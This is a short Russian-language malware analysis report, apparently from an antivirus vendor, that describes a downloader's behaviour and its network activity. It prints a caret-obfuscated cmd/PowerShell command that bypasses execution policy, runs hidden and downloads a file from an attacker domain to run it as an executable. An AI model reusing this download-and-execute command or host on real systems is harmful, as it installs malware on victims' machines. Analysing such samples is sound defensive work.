Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://smoeroota.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^WE^rs^H^el^l^.eXe ^-^e^XeCutI^O^NpoL^iCY BY^PAS^S ^-nO^Pr^oFIl^e^ -W^i^N^d^OwStYl^e h^iD^dEN ^(^Ne^w-o^BJ^E^CT sy^StEm^.NE^T.WebCLi^Ent).^D^o^w^nlO^a^dfIle('http://smoer...
Сетевая активность
UDP
- DNS ASK sm###oota.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^WE^rs^H^el^l^.eXe ^-^e^XeCutI^O^NpoL^iCY BY^PAS^S ^-nO^Pr^oFIl^e^ -W^i^N^d^OwStYl^e h^iD^dEN ^(^Ne^w-o^BJ^E^CT sy^StEm^.NE^T.WebCLi^Ent).^D^o^w^nlO^a^dfIle('http://smoer...' (со скрытым окном)
